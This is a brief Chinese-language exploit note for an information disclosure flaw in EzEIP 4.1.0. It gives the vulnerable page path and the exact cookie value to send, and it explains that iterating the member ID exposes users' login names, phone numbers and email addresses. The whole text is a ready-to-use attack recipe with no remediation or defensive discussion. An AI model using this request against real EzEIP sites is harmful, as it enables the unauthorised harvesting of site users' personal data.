EzEIP 4.1.0 信息泄露漏洞

漏洞利用

漏洞Url为:

/label/member/getinfo.aspx

访问时添加Cookie（通过遍历获取用户的登录名电话邮箱等信息）:

WHIR_USERINFOR=whir_mem_member_pid=1;